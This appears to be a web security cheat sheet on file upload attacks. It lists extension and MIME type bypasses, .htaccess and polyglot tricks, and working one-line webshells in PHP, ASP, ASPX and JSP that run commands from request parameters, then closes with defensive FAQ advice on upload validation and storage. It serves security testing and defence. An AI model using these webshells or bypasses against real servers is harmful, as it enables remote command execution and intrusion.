File Upload Cheat Sheet
When reviewing an upload, check how the server validates the contents, where it stores the file and who can retrieve it. A filename or file signature alone cannot establish that the file is safe. (26 entries)
Extension Bypass
(12)shell.php.jpgshell.php%00.jpgshell.pHpshell.php5shell.phtmlshell.php.bakshell.php::$DATAshell.php%0ashell.php.shell.php shell.shtmlshell.php;.jpgMIME Type Spoofing
(4)Content-Type: image/jpeg (with PHP content)Content-Type: image/png (with PHP content)Content-Type: image/gif (with GIF89a; header + PHP)GIF89a;<?php system($_GET["cmd"]); ?>Webshell Payloads
(6)<?php system($_GET["cmd"]); ?><?php echo shell_exec($_GET["cmd"]); ?><?=`$_GET[0]`?><% eval request("cmd") %><%@ Page Language="C#"%><%System.Diagnostics.Process.Start("cmd.exe","/c "+Request["c"]);%><%Runtime.getRuntime().exec(request.getParameter("cmd"));%>Content Validation Bypass
(4)Embed PHP in EXIF data of real JPEGPolyglot file: valid JPEG + PHP code in comment.htaccess: AddType application/x-httpd-php .jpgweb.config with PHP handler mappingLevel up your security testing
Install the CLI
npx payload-playgroundExplore All Tools
Encoding, hashing, JWT & more
Browse Cheat Sheets
Quick-reference payload guides
References
Related Generators
Related Cheat Sheets
Further reading
Frequently asked questions
Does a matching file signature prove an upload is safe?+
A signature identifies a possible format from a few bytes. A damaged image can still have a valid signature. For an image upload, allow only the formats you need and have a maintained decoder read the full image within size and pixel limits. Successful decoding still leaves storage and access controls to check.
Where should the application store uploaded files?+
Use a separate storage service or a directory outside the web root. Give each upload an application-generated storage name and configure storage so uploaded files cannot run as programs.
How should a private download be authorized?+
Check the signed-in user's permission for the specific file on each download. Keep the underlying storage private so a direct storage URL cannot skip that check.